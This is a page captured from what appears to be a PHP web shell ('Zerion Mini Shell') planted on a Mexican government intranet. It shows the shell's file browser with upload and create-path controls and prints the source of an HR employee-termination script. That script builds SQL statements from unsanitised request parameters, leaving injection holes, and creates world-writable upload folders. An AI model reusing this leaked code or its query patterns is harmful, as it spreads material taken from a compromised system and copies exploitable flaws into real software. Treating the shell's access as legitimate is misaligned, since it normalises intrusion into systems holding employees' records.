%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/baja_empleado.php

<?php
session_start();

include "../../config/config.php";

$_SESSION['expire'] = time() + (120 * 60);


$id_personal        =   isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : 0;
$id_puesto          =   isset($_REQUEST['id_puesto']) ? $_REQUEST['id_puesto'] : 0;
$id_area            =   isset($_REQUEST['id_area']) ? $_REQUEST['id_area'] : 0;
$id_plantilla       =  isset($_REQUEST['id_plantilla']) ? $_REQUEST['id_plantilla'] : 0;
$id_plaza           =  isset($_REQUEST['id_plaza']) ? $_REQUEST['id_plaza'] : 0;
$fecha_fin           =  isset($_REQUEST['fecha_fin']) ? $_REQUEST['fecha_fin'] : 0;
$oficio           =  isset($_REQUEST['oficio']) ? $_REQUEST['oficio'] : 0;
$observaciones           =  isset($_REQUEST['observaciones']) ? $_REQUEST['observaciones'] : 0;



$fecha_mov = date('Y-m-d');
$conf = new Configuracion();
$conf->conectarBD();

		$sql1 = "INSERT INTO tjam_movimientos_rh(id_empleado, movimiento, duracion, f_movimiento, f_fin, id_area, id_puesto, id_cubre, num_oficio, fecha_imss, fecha_infonavit, observaciones,id_plantilla) 
		    	VALUES ('$id_personal', 'Desvinculó de plaza', '0', '$fecha_fin', '$fecha_fin', $id_area, $id_puesto, 0, '$oficio', '', '', '$observaciones',$id_plantilla);";

$id_contrato = $conf->ultimo_id($sql1);


			$sql1 = "INSERT INTO tjam_movimientos_rh(id_empleado, movimiento, duracion, f_movimiento, f_fin, id_area, id_puesto, id_cubre, num_oficio, fecha_imss, fecha_infonavit, observaciones,id_plantilla) 
		    	VALUES ('$id_personal', 'Baja de empleado', '0', '$fecha_fin', '$fecha_fin', $id_area, $id_puesto, 0, '$oficio', '', '', '$observaciones',$id_plantilla);";

$id_contrato = $conf->ultimo_id($sql1);
insertaImagen($id_contrato, $conf);
			
			$sql = "SELECT * FROM inventario_inventario WHERE id_resguardante = '$id_personal' ";
        	$r1 = $conf->consulta($sql);
        	
        	for($i=0; $i<count($r1); $i++)
        	{
        	    $id_inventarioI = $r1[$i]["id_inventario"];
        	   $id_areaI = $r1[$i]["id_area"];
        	    $id_resguardanteI = $r1[$i]["id_resguardante"];
        	
		    $sql1 = "INSERT INTO inventario_bajas_resguardantes(`id_inventario`,`id_resguardante_ant`,`id_area_ant`,`id_resguardante_new`,`id_area_new`,`identificador`,id_plaza) 
		    	VALUES ($id_inventarioI,$id_resguardanteI,$id_areaI,'0', '0', '$id_contrato',$id_plaza);";
			$rsut = $conf->ultimo_id($sql1);
			
        	}

   
			

$sqlPlaza = "UPDATE tjam_empleados_plazas SET id_empleado = 0, vacante = 0 WHERE id_plaza = $id_plaza AND id_plantilla = $id_plantilla";

$id_contrato2 = $conf->ultimo_id($sqlPlaza);

$sqlPlaza = "UPDATE tjam_empleados SET id_estatus = 6, id_plaza = '0', plaza = '0' WHERE id = $id_personal";

$id_contrato2 = $conf->ultimo_id($sqlPlaza);

	

$conf->desconectarDB();
header("Location: page_plantilla_area.php");


function insertaImagen($id_movimiento, $conf) {

	$fileNames = array_filter($_FILES['files']['name']);

	if (count($fileNames) > 0) {

		foreach ($_FILES['files']['name'] as $key => $val) {

			$file_name = basename($_FILES['files']['name'][$key]);
			$extension = pathinfo($_FILES['files']['name'][$key], PATHINFO_EXTENSION);

			$ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf');
			$_FILES['files']["size"][$key];

			if (!in_array(strtolower($extension), $ext_formatos))
				return;
			if ($_FILES['files']["size"][$key] > 33000300800)
				return;
			
			$dia  = date("d");
			$mes  = date("m");
			$anio = date("Y");
			$targetDir = "../oficios_pdf/$anio/$mes/$dia/";

			@rmdir($targetDir);
			if (!file_exists($targetDir)) {
				@mkdir($targetDir, 0777, true);
			}

			$token = md5(uniqid(rand(), true));
			$file_name = $token . '.' . $extension;
			$add = $targetDir . $file_name;
			$db_url_img = "$anio/$mes/$dia/$file_name";

			if (move_uploaded_file($_FILES['files']["tmp_name"][$key], $add)) {

				$insertar = "INSERT INTO tjam_movimientos_rh_oficios (id_referencia, url_pdf)
                                 VALUES ('$id_movimiento','$db_url_img')";
				$conf->actualizacion($insertar);
			}
		}
	}
}
?>

Zerion Mini Shell 1.0